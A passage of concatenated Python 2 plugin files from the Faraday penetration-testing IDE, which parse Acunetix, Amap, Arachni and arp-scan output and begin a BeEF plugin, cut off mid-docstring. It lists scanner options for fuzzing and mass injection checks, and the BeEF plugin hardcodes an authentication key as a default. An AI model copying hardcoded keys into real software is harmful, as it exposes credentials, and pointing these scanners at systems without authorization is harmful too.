146 def get_text_from_subnode(self, subnode_xpath_expr):
147 """
148 Finds a subnode in the host node and the retrieves a value from it.
149
150 @return An attribute value
151 """
152 sub_node = self.node.find(subnode_xpath_expr)
153 if sub_node is not None:
154 return sub_node.text
155
156 return None
157
158 def resolve(self, host):
159 try:
160 return socket.gethostbyname(host)
161 except:
162 pass
163 return host
164
165 class Item(object):
166 """
167 An abstract representation of a Item
168
169
170 @param item_node A item_node taken from an acunetix xml tree
171 """
172 def __init__(self, item_node):
173 self.node = item_node
174
175 self.name = self.get_text_from_subnode('Name')
176 self.severity = self.get_text_from_subnode('Severity')
177 self.request = self.get_text_from_subnode('TechnicalDetails/Request')
178 self.response = self.get_text_from_subnode('TechnicalDetails/Response')
179 self.parameter = self.get_text_from_subnode('Parameter')
180 self.uri = self.get_text_from_subnode('Affects')
181 self.desc = self.get_text_from_subnode('Description')
182 self.desc += "\nSolution: " + self.get_text_from_subnode('Recommendation') if self.get_text_from_subnode('Recommendation') else ""
183 self.desc += "\nDetails: " + self.get_text_from_subnode('Details') if self.get_text_from_subnode('reference') else ""
184
185 self.ref=[]
186 for n in item_node.findall('References/Reference'):
187 n2 = n.find('URL')
188 self.ref.append(n2.text)
189
190 def get_text_from_subnode(self, subnode_xpath_expr):
191 """
192 Finds a subnode in the host node and the retrieves a value from it.
193
194 @return An attribute value
195 """
196 sub_node = self.node.find(subnode_xpath_expr)
197 if sub_node is not None:
198 return sub_node.text
199
200 return None
201
202
203
204 class AcunetixPlugin(core.PluginBase):
205 """
206 Example plugin to parse acunetix output.
207 """
208 def __init__(self):
209 core.PluginBase.__init__(self)
210 self.id = "Acunetix"
211 self.name = "Acunetix XML Output Plugin"
212 self.plugin_version = "0.0.1"
213 self.version = "9"
214 self.framework_version = "1.0.0"
215 self.options = None
216 self._current_output = None
217 self.target = None
218 self._command_regex = re.compile(r'^(acunetix|sudo acunetix|\.\/acunetix).*?')
219
220 global current_path
221 self._output_file_path = os.path.join(self.data_path,
222 "acunetix_output-%s.xml" % self._rid)
223
224
225 def parseOutputString(self, output, debug = False):
226 """
227 This method will discard the output the shell sends, it will read it from
228 the xml where it expects it to be present.
229
230 NOTE: if 'debug' is true then it is being run from a test case and the
231 output being sent is valid.
232 """
233
234 parser = AcunetixXmlParser(output)
235
236 for site in parser.sites:
237 host = []
238 if site.host != site.ip:
239 host = [site.host]
240 h_id = self.createAndAddHost(site.ip,site.os)
241 i_id = self.createAndAddInterface(h_id, site.ip, ipv4_address=site.ip, hostname_resolution=host)
242 s_id = self.createAndAddServiceToInterface(h_id, i_id, "http", "tcp",
243 ports = [site.port],
244 version= site.banner,
245 status = 'open')
246 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
247 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,site.host,"")
248
249 for item in site.items:
250 v_id = self.createAndAddVulnWebToService(h_id, s_id, item.name,
251 item.desc, website=site.host, severity=item.severity,
252 path=item.uri,params=item.parameter,
253 request=item.request,response=item.response,ref=item.ref)
254
255 del parser
256
257
258
259
260
261
262
263 def processCommandString(self, username, current_path, command_string):
264 return None
265
266
267 def setHost(self):
268 pass
269
270
271 def createPlugin():
272 return AcunetixPlugin()
273
274 if __name__ == '__main__':
275 parser = AcunetixXmlParser(sys.argv[1])
276 for item in parser.items:
277 if item.status == 'up':
278 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import argparse
15 import shlex
16 import socket
17 import random
18 current_path = os.path.abspath(os.getcwd())
19
20
21
22
23
24
25
26 class AmapPlugin(core.PluginBase):
27 """
28 Example plugin to parse amap output.
29 """
30 def __init__(self):
31 core.PluginBase.__init__(self)
32 self.id = "Amap"
33 self.name = "Amap Output Plugin"
34 self.plugin_version = "0.0.2"
35 self.version = "5.4"
36 self.options = None
37 self._current_output = None
38 self._command_regex = re.compile(r'^(amap|sudo amap).*?')
39 self._hosts = []
40 self._completition = {
41 "":"amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o &lt;file&gt;] [-D &lt;file&gt;] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i &lt;file&gt;] [target port [port] ...]",
42 "-A":"Map applications: send triggers and analyse responses (default)",
43 "-B":"Just grab banners, do not send triggers",
44 "-P":"No banner or application stuff - be a (full connect) port scanner",
45 "-1":"Only send triggers to a port until 1st identification. Speeeeed!",
46 "-6":"Use IPv6 instead of IPv4",
47 "-b":"Print ascii banner of responses",
48 "-i":"Nmap machine readable outputfile to read ports from",
49 "-u":"Ports specified on commandline are UDP (default is TCP)",
50 "-R":"Do NOT identify RPC / SSL services",
51 "-S":"Do NOT identify RPC / SSL services",
52 "-H":"Do NOT send application triggers marked as potentially harmful",
53 "-U":"Do NOT dump unrecognised responses (better for scripting)",
54 "-d":"Dump all responses",
55 "-v":"Verbose mode, use twice (or more!) for debug (not recommended :-)",
56 "-q":"Do not report closed ports, and do not print them as unidentified",
57 "-o":"FILE [-m] Write output to file FILE, -m creates machine readable output",
58 "-c":"CONS Amount of parallel connections to make (default 32, max 256)",
59 "-C":"RETRIES Number of reconnects on connect timeouts (see -T) (default 3)",
60 "-T":"SEC Connect timeout on connection attempts in seconds (default 5)",
61 "-t":"SEC Response wait timeout in seconds (default 5)",
62 "-p":"PROTO Only send triggers for this protocol (e.g. ftp)",
63 }
64
65 global current_path
66 self._file_output_path=os.path.join(self.data_path,"amap_output-%s.txt" % random.uniform(1,10))
67
68
69 def parseOutputString(self, output, debug = False):
70
71
72 if not os.path.exists(self._file_output_path):
73 return False
74
75 if not debug:
76 with open(self._file_output_path) as f:
77 output = f.read()
78
79 services = {}
80 for line in output.split('\n'):
81 if line.startswith('#'):
82
83 continue
84
85
86 fields = self.get_info(line)
87
88
89 if len(fields) < 6:
90
91 continue
92
93 address = fields[0]
94 h_id = self.createAndAddHost(address)
95
96 port = fields[1]
97 protocol = fields[2]
98 port_status = fields[3]
99
100 identification = fields[5]
101 printable_banner = fields[6]
102
103 if port in services.keys():
104
105 if identification != 'unidentified':
106
107 services[port][5] += ', ' + identification
108 else:
109 services[port] = [address, port, protocol, port_status, None, identification, printable_banner, None]
110
111
112 args={}
113 if self.args.__getattribute__("6"):
114 self.ip = self.get_ip_6(self.args.m)
115 args['ipv6_address']=address
116 else:
117 self.ip=self.getAddress(self.args.m)
118 args['ipv4_address']=address
119
120 if address != self.args.m:
121 args['hostname_resolution']=self.args.m
122
123 i_id = self.createAndAddInterface(h_id, name=address, **args)
124
125 for key in services:
126 service = services.get(key)
127 s_id = self.createAndAddServiceToInterface(h_id, i_id, service[5], service[2], ports = [service[1]], status = service[3],description = service[6])
128
129 if not debug:
130 os.remove(self._file_output_path)
131 return True
132
133 file_arg_re = re.compile(r"^.*(-o \s*[^\s]+\s+(?:-m|)).*$")
134
135 def get_info(self,data):
136 if self.args.__getattribute__("6"):
137 f = re.search(r"^\[(.*)\]:(.*):(.*):(.*):(.*):(.*):(.*):(.*)",data)
138 return [f.group(1),f.group(2),f.group(3),
139 f.group(4),f.group(5),f.group(6),f.group(7),f.group(8)] if f else []
140
141 else:
142 return data.split(':')
143
144
145 def get_ip_6(self,host, port=0):
146
147 alladdr = socket.getaddrinfo(host,port)
148 ip6 = filter(
149 lambda x: x[0] == socket.AF_INET6,
150 alladdr
151 )
152
153
154 return list(ip6)[0][4][0]
155
156
157
158 def getAddress(self, hostname):
159 """
160 Returns remote IP address from hostname.
161 """
162 try:
163 return socket.gethostbyname(hostname)
164 except socket.error, msg:
165
166 return hostname
167
168 def processCommandString(self, username, current_path, command_string):
169 """
170 Adds the -m parameter to get machine readable output.
171 """
172 arg_match = self.file_arg_re.match(command_string)
173
174 parser = argparse.ArgumentParser()
175
176 parser.add_argument('-6',action='store_true')
177 parser.add_argument('-o')
178 parser.add_argument('-m')
179
180
181
182 self._file_output_path=os.path.join(self.data_path,"amap_output-%s.txt" % random.uniform(1,10))
183
184 if arg_match is None:
185 final= re.sub(r"(^.*?amap)",
186 r"\1 -o %s -m " % self._file_output_path,
187 command_string)
188 else:
189 final= re.sub(arg_match.group(1),
190 r"-o %s -m " % self._file_output_path,
191 command_string)
192
193
194 cmd=shlex.split(re.sub(r'\-h|\-\-help', r'', final))
195 if "-6" in cmd:
196 cmd.remove("-6")
197 cmd.insert(1,"-6")
198
199
200
201 args=None
202 if len(cmd) > 4:
203 try:
204 args, unknown = parser.parse_known_args(cmd)
205 except SystemExit:
206 pass
207
208 self.args=args
209 return final
210
211 def setHost(self):
212 pass
213
214 def createPlugin():
215 return AmapPlugin()
216
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7 '''
8
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import socket
13 import re
14 import os
15 import pprint
16 import sys
17
18 try:
19 import xml.etree.cElementTree as ET
20 except ImportError:
21 import xml.etree.ElementTree as ET
22
23 """Arachni plugin XML Parser.
24
25 Description.
26
27 """
28
29 current_path = os.path.abspath(os.getcwd())
30
31 __author__ = "Matías Ariel Ré Medina"
32 __copyright__ = "Copyright 2011, Faraday Project"
33 __credits__ = ["Matías Ariel Ré Medina"]
34 __license__ = ""
35 __version__ = "1.0.0"
36 __maintainer__ = "Matías Ariel Ré Medina"
37 __email__ = "[email protected]"
38 __status__ = "Development"
39
40 class ArachniXmlParser(object):
41 """Plugin that parses Arachni's XML report files.
42
43 :param arachni_xml_filepath: Xml report generated by Arachni.
44
45 :class:`.ArachniXmlParser`
46 """
47 def __init__(self, xml_output):
48 tree = self.parse_xml(xml_output)
49
50 if tree:
51 self.issues = self.getIssues(tree)
52 self.system = self.getSystem(tree)
53 else:
54 self.issues = []
55 self.system = []
56
57 def parse_xml(self, xml_output):
58 """Opens and parses an arachni xml report file.
59
60 :param filepath:
61
62 :rtype xml_tree: An xml tree instance. None if error.
63 """
64 try:
65 tree = ET.fromstring(xml_output)
66 except SyntaxError, err:
67 print "SyntaxError: %s. %s" % (err, xml_output)
68 return None
69
70 return tree
71
72 def getIssues(self, tree):
73 """
74 :param tree:
75 """
76 for issues in tree.findall('issues'):
77 for self.issue_node in issues.findall('issue'):
78 yield Issue(self.issue_node)
79
80 def getSystem(self, tree):
81 """
82 :param tree:
83 """
84 for self.system_node in tree.findall('system'):
85 yield System(self.system_node)
86
87 def getPlugins(self, tree):
88 """
89 :param tree:
90 """
91 for self.plugin_node in tree.findall('plugins'):
92 yield Plugins(self.plugin_node)
93
94
95
96
97
98
99
100 class Issue(object):
101 def __init__(self, issue_node):
102 """
103 :param issue_node:
104 """
105 self.node = issue_node
106 self.name = self.getDesc(issue_node, 'name')
107 self.var = self.getDesc(issue_node, 'var')
108 self.severity = self.getDesc(issue_node, 'severity')
109 self.url = self.getDesc(issue_node, 'url').lower()
110 self.element = self.getDesc(issue_node, 'element')
111 self.cwe = self.getDesc(issue_node, 'cwe')
112 self.method = self.getDesc(issue_node, 'method')
113 self.tags = self.getTags(issue_node, 'tags', 'tag')
114 self.variable = self.getDesc(issue_node, 'variable')
115 self.remedy_guidance = self.getDesc(issue_node, 'remedy_guidance')
116 self.description = self.getDesc(issue_node, 'description')
117 self.manual_verification = self.getDesc(issue_node, 'manual_verification')
118 self.references = self.getReferences(issue_node)
119 self.variations = self.getVariations(issue_node)
120
121 def getDesc(self, issue_node, tag):
122 """
123 :param issue_node:
124 :param tag:
125 :rtype text: Returns current issue description
126 """
127 desc = issue_node.findall(tag)
128 if desc:
129 return desc[0].text
130 else:
131 return 'None'
132
133 def getTags(self, issue_node, main_tag, child_tag):
134 """
135 :param issue_node:
136 :param main_tag:
137 :param child_tag:
138 :rtype string: Returns current issue tag description
139 """
140 for tags in issue_node.findall(main_tag):
141 for tag in tags.findall(child_tag):
142 tagDesc = tag.attrib['name']
143 if tagDesc:
144 return tagDesc
145 else:
146 return 'None'
147
148 def getReferences(self, issue_node):
149 """Returns current issue references on this format {'url': 'http://www.site.com', 'name': 'WebSite'}.
150
151 :param issue_node: Issue instance.
152 :param main_tag: Container's tag.
153 :param child_tag: Child's tag.
154
155 :rtype dict: Reference
156 """
157 for tags in issue_node.findall('references'):
158 for tag in tags.findall('reference'):
159 reference = tag.attrib
160 if reference:
161 return reference
162 else:
163 return "None"
164
165 def getVariations(self, issue_node):
166 """Returns variations in dict format.
167
168 :param issue_node: Issue instance.
169
170 :rtype dict: Variations, keys : {'url', 'headers' , 'html'}
171
172 """
173 requests = []
174 responses = []
175 html = []
176 url = []
177 headers = [requests, responses]
178 for variations in issue_node.findall('variations'):
179 for variation in variations.findall('variation'):
180 for urltmp in variation.findall('url'):
181 url.append(urltmp.text.lower())
182 for heads in variation.findall('headers'):
183 for request in heads.findall('request'):
184 for field in request.findall('field'):
185 requests.append(field.attrib)
186 for response in heads.findall('response'):
187 for field in response.findall('field'):
188 responses.append(field.attrib)
189 for htmltmp in variation.findall('html'):
190 html.append(htmltmp.text)
191
192 finalVariation = {'url' : url, 'headers' : headers, 'html' : html}
193 return
194
195
196
197
198
199
200 class System(object):
201 def __init__(self, system_node):
202 self.system_node = system_node
203 self.version = self.getDesc('version')
204 self.revision = self.getDesc('revision')
205 self.star_ttime = self.getDesc( 'start_datetime')
206 self.finish_time = self.getDesc('finish_datetime')
207 self.delta_time = self.getDesc('delta_time')
208 self.url = self.getDesc('url')
209 self.user_agent = self.getDesc('user_agent')
210 self.audited_elements = self.getChildDesc('audited_elements', 'element')
211 self.modules = self.getChildDesc('modules', 'module')
212 self.filters = self.getFilters()
213 self.cookies = self.getChildDesc('cookies', 'cookie')
214
215 def getDesc(self, tag):
216 """
217 :param tag:
218 :rtype text: Returns current issue description
219 """
220 desc = self.system_node.findall(tag)
221 if desc:
222 return desc[0].text
223 else:
224 return 'None'
225
226 def getChildDesc(self, father_tag, child_tag):
227 """Returns modules in dict format.
228
229 :param father_tag: Container's tag.
230 :param child_tag: Child's tag.
231 :rtype child: (string/dict)
232
233 """
234 for tags in self.system_node.findall(father_tag):
235 for child in tags.findall(child_tag):
236 if child.tag == 'cookie':
237 return child.attrib
238 elif child.tag == 'element':
239 return child.text
240 else:
241 return child.attrib['name']
242
243 def getFilters(self):
244 """Returns filters in list format.
245
246 :rtype filters:
247 filters[i], i:
248 0 for exclude,
249 1 for include,
250 2 for redundant.
251
252 """
253 exclude = []
254 include = []
255 redundant = []
256 for tags in self.system_node.findall('filters'):
257 for child in tags:
258 if child.tag == 'exclude':
259 for regexp in child:
260 exclude.append(regexp.text)
261 elif child.tag == 'include':
262 for regexp in child:
263 include.append(regexp.text)
264 else:
265 for regexp in child:
266 redundant.append(regexp.text)
267 filters = [('exclude', exclude), ('include', include), ('redundant', redundant)]
268 return filters
269
270
271
272
273
274
275 class Plugins():
276 def __init__(self, plugin_node):
277 self.plugin_node = plugin_node
278 self.healthmap = self.getHealthmap(self.plugin_node)
279 self.content_types = self.getContentTypes(self.plugin_node)
280 pass
281
282 class ArachniPlugin(core.PluginBase):
283 """
284 Plugin that parses Arachni's XML report files.
285 """
286 def __init__(self):
287 core.PluginBase.__init__(self)
288 self.id = "Arachni"
289 self.name = "Arachni XML Output Plugin"
290 self.plugin_version = "0.0.2"
291 self.version = "0.4.5.2"
292 self.framework_version = "1.0.0"
293 self.options = None
294 self._current_output = None
295 self.macaddress = None
296 self.hostname = None
297 self.address = None
298 self.port = "80"
299
300
301 self._command_regex = re.compile(r'^(sudo arachni |arachni |\.\/arachni |ruby \.\/arachni |ruby arachni ).*?')
302
303 self._report_regex = re.compile(r"^.*(--report=xml\s*[^\s]+).*$")
304
305 global current_path
306 self._output_file_path = os.path.join(self.data_path, "arachni_report-%s.xml" % self._rid)
307
308 self._completition = {
309 "":"arachni [options] url",
310 "-h":"Help",
311 "--help":"Help",
312 "-v":"Be verbose.",
313 "--version":"Show version information and exit.",
314 "--debug":"Show what is happening internally. (You should give it a shot sometime ;) )",
315 "--only-positives":"Echo positive results *only*.",
316 "--http-username":"&lt;string&gt; Username for HTTP authentication.",
317 "--http-password":"&lt;string&gt; Password for HTTP authentication.",
318 "--http-req-limit":"--http-req-limit=&lt;integer&gt; Concurrent HTTP requests limit. (Default: 20) (Be careful not to kill your server.) (*NOTE*: If your scan seems unresponsive try lowering the limit.)",
319 "--http-timeout":"--http-timeout=&lt;integer&gt; HTTP request timeout in milliseconds.",
320 "--cookie-jar":"--cookie-jar=&lt;filepath&gt; Netscape HTTP cookie file, use curl to create it.",
321 "--cookie-string":"--cookie-string='&lt;name&gt;=&lt;value&gt;; &lt;name2&gt;=&lt;value2&gt;' Cookies, as a string, to be sent to the web application.",
322 "--user-agent":"--user-agent=&lt;string&gt; Specify user agent.",
323 "--custom-header":"--custom-header='&lt;name&gt;=&lt;value&gt;' Specify custom headers to be included in the HTTP requests. (Can be used multiple times.)",
324 "--authed-by":"--authed-by=&lt;string&gt; Who authorized the scan, include name and e-mail address. (It'll make it easier on the sys-admins during log reviews.) (Will be appended to the user-agent string.)",
325 "--login-check-url":"--login-check-url=&lt;url&gt; A URL used to verify that the scanner is still logged in to the web application. (Requires 'login-check-pattern'.)",
326 "--login-check-pattern":"--login-check-pattern=&lt;regexp&gt; A pattern used against the body of the 'login-check-url' to verify that the scanner is still logged in to the web application. (Requires 'login-check-url'.)",
327 "--save-profile":"--save-profile=&lt;filepath&gt; Save the current run profile/options to &lt;filepath&gt;.",
328 "--load-profile":"--load-profile=&lt;filepath&gt; Load a run profile from &lt;filepath&gt;. (Can be used multiple times.) (You can complement it with more options, except for:\n* --modules\n* --redundant)",
329 "--show-profile":"Will output the running profile as CLI arguments.",
330 "-e":"-e &lt;regexp&gt; Exclude urls matching &lt;regexp&gt;. (Can be used multiple times.)",
331 "--exclude":" --exclude=&lt;regexp&gt Exclude urls matching &lt;regexp&gt;.",
332 "--exclude-page":" --exclude-page=&lt;regexp&gt Exclude pages whose content matches &lt;regexp&gt;.",
333 "-i":"-i &lt;regexp&gt; Include *only* urls matching &lt;regex&gt;. (Can be used multiple times.)",
334 "--include":"&lt;regexp&gt; Include *only* urls matching &lt;regex&gt;.",
335 "--redundant":"--redundant=&lt;regexp&gt;:&lt;limit&gt; Limit crawl on redundant pages like galleries or catalogs. (URLs matching &lt;regexp&gt; will be crawled &lt;limit&gt; amount of times.) (Can be used multiple times.)",
336 "--auto-redundant":"--auto-redundant=&lt;limit&gt; Only follow &lt;limit&gt; amount of URLs with identical query parameter names. (Default: inf) (Will default to 10 if no value has been specified.)",
337 "-f":"Follow links to subdomains. (Default: off)",
338 "--depth":"--depth=&lt;integer&gt; Directory depth limit. (Default: inf) (How deep Arachni should go into the site structure.)",
339 "--follow-subdomains":"Follow links to subdomains.",
340 "--link-count":"--link-count=&lt;integer&gt; How many links to follow. (Default: inf)",
341 "--redirect-limit":"--redirect-limit=&lt;integer&gt; How many redirects to follow. (Default: 20)",
342 "--extend-paths":"--extend-paths=&lt;filepath&gt; Add the paths in &lt;file&gt; to the ones discovered by the crawler. (Can be used multiple times.)",
343 "--restrict-paths":"--restrict-paths=&lt;filepath&gt; Use the paths in &lt;file&gt; instead of crawling. (Can be used multiple times.)",
344 "--https-only":"Forces the system to only follow HTTPS URLs.",
345 "-g":"Audit links.",
346 "-p":"Audit forms.",
347 "-c":"Audit cookies.",
348 "--audit-cookies":"Audit cookies.",
349 "--exclude-cookie":"--exclude-cookie=&lt;name&gt; Cookie to exclude from the audit by name. (Can be used multiple times.)",
350 "--exclude-vector":"--exclude-vector=&lt;name&gt; Input vector (parameter) not to audit by name. (Can be used multiple times.)",
351 "--audit-headers":"Audit HTTP headers. (*NOTE*: Header audits use brute force. Almost all valid HTTP request headers will be audited even if there's no indication that the web app uses them.) (*WARNING*: Enabling this option will result in increased requests, maybe by an order of magnitude.)",
352 "--audit-cookies-extensively":"Submit all links and forms of the page along with the cookie permutations. (*WARNING*: This will severely increase the scan-time.)",
353 "--fuzz-methods":"Audit links, forms and cookies using both GET and POST requests. (*WARNING*: This will severely increase the scan-time.)",
354 "--exclude-binaries":"Exclude non text-based pages from the audit. (Binary content can confuse recon modules that perform pattern matching.)",
355 "--lsmod":"--lsmod=&lt;regexp&gt; List available modules based on the provided regular expression. (If no regexp is provided all modules will be listed.) (Can be used multiple times.)",
356 "-m":"-m &lt;modname,modname..&gt; Comma separated list of modules to load. (Modules are referenced by their filename without the '.rb' extension, use '--lsmod' to list all.\nUse '*' as a module name to deploy all modules or as a wildcard, like so:\nxss* to load all xss modules\nsqli* to load all sql injection modules etc.\nYou can exclude modules by prefixing their name with a minus sign:\n--modules=*,-backup_files,-xss\nThe above will load all modules except for the 'backup_files' and 'xss' modules.\nOr mix and match:\n-xss* to unload all xss modules.)",
357 "--lsrep":"--lsrep=&lt;regexp&gt; List available reports based on the provided regular expression. (If no regexp is provided all reports will be listed.) (Can be used multiple times.)",
358 "--repload":"--repload=&lt;filepath&gt; Load audit results from an '.afr' report file. (Allows you to create new reports from finished scans.)",
359 "--report":"--report='&lt;report&gt;:&lt;optname&gt;=&lt;val&gt;,&lt;optname2&gt;=&lt;val2&gt;,...'\n&lt;report&gt;: the name of the report as displayed by '--lsrep'\n(Reports are referenced by their filename without the '.rb' extension, use '--lsrep' to list all.)\n(Default: stdout) (Can be used multiple times.)",
360 "--lsplug":"--lsplug=&lt;regexp&gt; List available plugins based on the provided regular expression.",
361 "--plugin":"--plugin='&lt;plugin&gt;:&lt;optname&gt;=&lt;val&gt;,&lt;optname2&gt;=&lt;val2&gt;,...",
362 '--lsplat':"List available platforms.",
363 "--no-fingerprinting":"Disable platform fingerprinting.",
364 "--proxy":"--proxy=&lt;server:port&gt; Proxy address to use.",
365 "--proxy-auth":"--proxy-auth=&lt;user:passwd&gt; Proxy authentication credentials.",
366 "--proxy-type":"--proxy-type=&lt;type&gt; Proxy type; can be http, http_1_0, socks4, socks5, socks4a (Default: http)",
367 }
368
369 def parseOutputString(self, output, debug = False):
370 """
371 This method will discard the output the shell sends, it will read it from
372 the xml where it expects it to be present.
373
374 NOTE: if 'debug' is true then it is being run from a test case and the
375 output being sent is valid.
376 """
377 parser = ArachniXmlParser(output)
378 for system in parser.system:
379 self.hostname = self.getHostname(system.url)
380 self.address = self.getAddress(self.hostname)
381
382 h_id = self.createAndAddHost(self.address)
383
384
385 i_id = self.createAndAddInterface(h_id, self.address, ipv4_address=self.address,hostname_resolution=self.hostname )
386
387 s_id = self.createAndAddServiceToInterface(h_id, i_id,
388 self.protocol,
389 "tcp",
390 ports=[self.port],
391 status="open",
392 version="",
393 description="")
394
395 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
396 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,self.hostname,"")
397
398
399 for issue in parser.issues:
400 print dir(issue)
401
402 desc=issue.description
403 desc+="\nSolution: " + issue.remedy_guidance if issue.remedy_guidance !="None" else ""
404 ref=[issue.references] if issue.references else []
405 if issue.cwe != "None":
406 ref.append('CWE-'+issue.cwe)
407 v_id = self.createAndAddVulnWebToService(h_id, s_id,
408 website=self.hostname,
409 name=issue.name,
410 desc=desc,
411 ref=ref,
412 pname=issue.var,
413 severity=issue.severity,
414 method=issue.method,
415 path=issue.url)
416
417
418
419
420 return True
421
422 def processCommandString(self, username, current_path, command_string):
423 """
424 Adds the "--report=xml:outfile=" parameter to set an xml output for
425 the command string that the user has set.
426 If the user has already set a xml report his report will be replaced with faraday's one.
427 """
428
429 arg_match = self._report_regex.match(command_string)
430
431 if arg_match is None:
432 return re.sub(r"(^.*?arachni)", r"\1 --report=xml:outfile=%s" % self._output_file_path, command_string)
433 else:
434 return re.sub(arg_match.group(1),r"--report=xml:outfile=%s" % self._output_file_path, command_string)
435
436 def getHostname(self, url):
437 """
438 Strips protocol and gets hostname from URL.
439 """
440 reg = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", url)
441 self.protocol = reg.group(1)
442 self.hostname = reg.group(4)
443
444 if self.protocol == 'https':
445 self.port=443
446 if reg.group(11) is not None:
447 self.port = reg.group(11)
448
449 return self.hostname
450
451
452 def getAddress(self, hostname):
453 """
454 Returns remote IP address from hostname.
455 """
456 try:
457 return socket.gethostbyname(hostname)
458 except socket.error, msg:
459
460 return self.hostname
461
462
463 def createPlugin():
464 return ArachniPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 from model import api
11 import re
12 import os
13 import pprint
14
15
16 __author__ = "Federico Kirschbaum"
17 __copyright__ = "Copyright 2013, Faraday Project"
18 __credits__ = ["Federico Kirschbaum"]
19 __license__ = ""
20 __version__ = "1.0.0"
21 __maintainer__ = "Federico Kirschbaum"
22 __email__ = "[email protected]"
23 __status__ = "Development"
24
25
26
27
28
29 class CmdArpScanPlugin(core.PluginBase):
30 """
31 This plugin handles arp-scan command.
32 Basically inserts into the tree the ouput of this tool
33 """
34 def __init__(self):
35 core.PluginBase.__init__(self)
36 self.id = "arp-scan"
37 self.name = "arp-scan network scanner"
38 self.plugin_version = "0.0.1"
39 self.version ="1.8.1"
40 self.framework_version = "1.0.0"
41 self.options = None
42 self._current_output = None
43 self._command_regex = re.compile(r'^(sudo arp-scan|\.\/arp-scan|arp-scan).*?')
44 self._host_ip = None
45 self._port = "23"
46
47
48
49
50
51 def parseOutputString(self, output, debug = False):
52
53 host_info = re.search(r"(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)", output)
54 host_mac_addr = re.search(r"([\dA-F]{2}(?:[-:][\dA-F]{2}){5})", output)
55 if host_info is None:
56 api.devlog("No hosts detected")
57 else:
58 for line in output.split('\n'):
59 vals = line.split("\t")
60
61 if len(vals[0].split(".")) == 4:
62 host = vals[0]
63 h_id = self.createAndAddHost(host)
64 i_id = self.createAndAddInterface(h_id, host, ipv4_address=host, mac=vals[1])
65 n_id = self.createAndAddNoteToHost(h_id,"NIC VENDOR:",vals[2])
66
67
68
69 return True
70
71
72 def processCommandString(self, username, current_path, command_string):
73 """
74 """
75
76
77
78
79
80
81
82 def createPlugin():
83 return CmdArpScanPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16 import urllib2
17 import json
18
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32 class BeefPlugin(core.PluginBase):
33 """
34 Example plugin to parse beef output.
35 """
36 def __init__(self):
37 core.PluginBase.__init__(self)
38 self.id = "Beef"
39 self.name = "BeEF Online Service Plugin"
40 self.plugin_version = "0.0.1"
41 self.version = "0.4.4.9-alpha"
42 self.framework_version = "1.0.0"
43 self.options = None
44 self._current_output = None
45 self.target = None
46 self._command_regex = re.compile(r'^(beef|sudo beef|\.\/beef).*?')
47
48 self.addSetting("Host", str, "http://127.0.0.1:3000/")
49 self.addSetting("Authkey", str, "c818c7798ae1da38b45a6406c8dd0d6d4d007098")
50 self.addSetting("Enable", str, "0")
51
52
53 def parseOutputString(self, output, debug = False):
54 """
55 This method will discard the output the shell sends, it will read it from
56 the xml where it expects it to be present.
57
58 NOTE: if 'debug' is true then it is being run from a test case and the
